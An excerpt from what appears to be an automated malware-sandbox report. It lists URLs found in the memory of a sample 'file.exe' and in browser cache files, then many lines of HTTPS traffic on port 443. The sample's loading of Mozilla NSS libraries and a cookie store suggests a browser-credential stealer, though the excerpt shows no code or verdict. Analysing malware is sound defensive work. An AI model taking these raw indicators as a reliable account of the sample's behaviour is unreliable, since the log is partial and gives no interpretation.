Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log10.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_483.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_483.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_483.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_483.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: CBKFIECBGDHJKECAKFBG.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: 000003.ldb.8.dr	String found in binary or memory: https://mail.google.com
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log0.8.dr, 000003.log3.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log0.8.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log0.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log0.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr, 000003.ldb.8.dr	String found in binary or memory: https://open.spotify.com
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_483.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_485.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_485.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: file.exe, 00000000.00000003.2353167790.0000000023F4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2353167790.0000000023F4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 000003.ldb.8.dr	String found in binary or memory: https://web.skype.com/?
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://web.telegram.org/
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://web.whatsapp.com
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_485.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp, CBKFIECBGDHJKECAKFBG.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp, CBKFIECBGDHJKECAKFBG.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2411681140.00000000019C2000.00000004.00000020.00020000.00000000.sdmp, IJKJJKFH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.8.dr, content.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: IJKJJKFH.0.dr, DBKKFCBA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 57ecc085-f51b-4d60-91db-9344d37f81ee.tmp.9.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_485.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_485.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_483.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_483.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_483.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.instagram.com
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.last.fm/
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.messenger.com
Source: file.exe, 00000000.00000002.2410670260.0000000000DC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000003.2353167790.0000000023F4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2410670260.0000000000DC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2410670260.0000000000DC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000003.2353167790.0000000023F4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2410670260.0000000000DC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2353167790.0000000023F4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2353167790.0000000023F4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2353167790.0000000023F4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2410670260.0000000000DC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2353167790.0000000023F4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2410670260.0000000000DC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.office.com
Source: 000003.ldb.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNs
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr, 000003.ldb.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr, 000003.ldb.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr, 000003.ldb.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.tiktok.com/
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://www.youtube.com
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
